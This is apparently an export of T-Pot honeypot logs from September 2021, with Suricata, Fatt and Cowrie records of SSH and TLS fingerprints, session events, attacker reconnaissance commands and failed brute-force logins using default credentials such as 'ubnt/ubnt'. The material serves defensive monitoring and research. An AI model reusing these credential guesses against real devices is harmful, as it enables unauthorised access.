22101	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:06:31.831014+03	2021-09-20 14:15:04.496612+03	{"_id": "XgXiAnwBvYTbRNuE0v-4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 61820, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1824020722331174, "@version": "1", "in_iface": "enp5s0", "src_port": 50144, "dest_port": 53, "timestamp": "2021-09-20T11:06:31.831014Z", "@timestamp": "2021-09-20T11:06:31.831Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22095	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:30.394396+03	2021-09-20 14:15:04.488612+03	{"_id": "UQXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7381, "timestamp": "2021-09-20T11:06:30.394396", "@timestamp": "2021-09-20T11:06:30.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22096	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:30.309464+03	2021-09-20 14:15:04.490613+03	{"_id": "UgXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "223.241.247.214", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5848536491394043, "duplicate": true, "timestamp": "2021-09-20T11:06:30.309464Z", "@timestamp": "2021-09-20T11:06:30.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
22097	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:30.739106+03	2021-09-20 14:15:04.491612+03	{"_id": "VAXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:30.739106Z", "@timestamp": "2021-09-20T11:06:30.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22098	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:30.7386+03	2021-09-20 14:15:04.492612+03	{"_id": "SgXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:30.738600Z", "@timestamp": "2021-09-20T11:06:30.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22099	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:30.748874+03	2021-09-20 14:15:04.493612+03	{"_id": "VQXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c69d5bec2a1b", "@version": "1", "timestamp": "2021-09-20T11:06:30.748874Z", "@timestamp": "2021-09-20T11:06:30.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22102	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:31.57608+03	2021-09-20 14:15:04.497612+03	{"_id": "XwXiAnwBvYTbRNuE0_-k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:35694 (192.168.176.2:22) [session: 2290afe28b50]", "session": "2290afe28b50", "@version": "1", "protocol": "ssh", "src_port": 35694, "dest_port": 22, "timestamp": "2021-09-20T11:06:31.576080Z", "@timestamp": "2021-09-20T11:06:31.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22103	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.010615+03	2021-09-20 14:15:04.499612+03	{"_id": "YAXiAnwBvYTbRNuE0_-k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:38610 (192.168.176.2:22) [session: 8a93ac589f64]", "session": "8a93ac589f64", "@version": "1", "protocol": "ssh", "src_port": 38610, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.010615Z", "@timestamp": "2021-09-20T11:06:32.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22104	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:31.882671+03	2021-09-20 14:15:04.500612+03	{"_id": "YQXiAnwBvYTbRNuE0_-k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34774, "dest_port": 443, "timestamp": "2021-09-20T11:06:31.882671", "@timestamp": "2021-09-20T11:06:31.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
22105	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:06:31.922811+03	2021-09-20 14:15:04.501612+03	{"_id": "aQXiAnwBvYTbRNuE0_-m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34774, "timestamp": "2021-09-20T11:06:31.922811", "@timestamp": "2021-09-20T11:06:31.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
22106	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:31.58403+03	2021-09-20 14:15:04.503612+03	{"_id": "agXiAnwBvYTbRNuE0_-m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4370b50d0e30", "@version": "1", "duration": 2.4673712253570557, "timestamp": "2021-09-20T11:06:31.584030Z", "@timestamp": "2021-09-20T11:06:31.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22107	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:31.375994+03	2021-09-20 14:15:04.505612+03	{"_id": "cQXiAnwBvYTbRNuE0_-o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ubnt/ubnt] failed", "session": "d86157a4cfc8", "@version": "1", "password": "ubnt", "username": "ubnt", "timestamp": "2021-09-20T11:06:31.375994Z", "@timestamp": "2021-09-20T11:06:31.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22108	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:31.739485+03	2021-09-20 14:15:04.506612+03	{"_id": "cgXiAnwBvYTbRNuE0_-o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "80fa559a3d79", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:31.739485Z", "@timestamp": "2021-09-20T11:06:31.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22109	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:31.989862+03	2021-09-20 14:15:04.50765+03	{"_id": "cwXiAnwBvYTbRNuE0_-o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [letha/letha] failed", "session": "5b61f7f46fd6", "@version": "1", "password": "letha", "username": "letha", "timestamp": "2021-09-20T11:06:31.989862Z", "@timestamp": "2021-09-20T11:06:31.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22110	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:31.199719+03	2021-09-20 14:15:04.508646+03	{"_id": "ZAXiAnwBvYTbRNuE0_-l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47654, "dest_port": 22, "timestamp": "2021-09-20T11:06:31.199719", "@timestamp": "2021-09-20T11:06:31.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22111	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:31.199975+03	2021-09-20 14:15:04.510642+03	{"_id": "ZQXiAnwBvYTbRNuE0_-l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", 